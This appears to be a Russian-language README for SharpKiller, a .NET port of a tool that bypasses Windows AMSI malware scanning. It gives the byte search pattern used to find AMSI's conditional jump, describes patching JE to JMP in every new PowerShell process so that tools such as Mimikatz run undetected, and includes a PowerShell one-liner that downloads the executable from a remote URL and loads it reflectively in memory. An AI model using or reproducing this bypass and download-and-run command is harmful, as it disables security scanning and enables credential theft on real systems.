
Пожизненный обход AMSI от @ZeroMemoryEx, портированный на .NET Framework 4.8
Пожизненный обход AMSI AMSI-Killer от @ZeroMemoryEx, портированный на .NET Framework 4.8.
[ x ] - Живое сканирование новых процессов powershell каждые 0.5 секунд -> Автоматически патчит новые экземпляры powershell
мы получаем точный адрес инструкции перехода, ища первый байт каждой инструкции; этот метод эффективен даже при обновлениях или модификациях целевого набора данных.
например:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
шаблон поиска будет таким:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Программа проверяет значение RDX на равенство самому себе. Если сравнение даёт 0, программа выполняет переход на возврат. В противном случае программа переходит к оценке следующей инструкции

мы не можем выполнить "Invoke-Mimikatz"

мы патчим первый байт и меняем его с JE на JMP, чтобы он возвращал напрямую


теперь мы можем выполнить "Invoke-Mimikatz"



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
Если вы когда-либо видели это сообщение и задавались вопросом о нём - добро пожаловать в .NET AMSI Interface! :-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."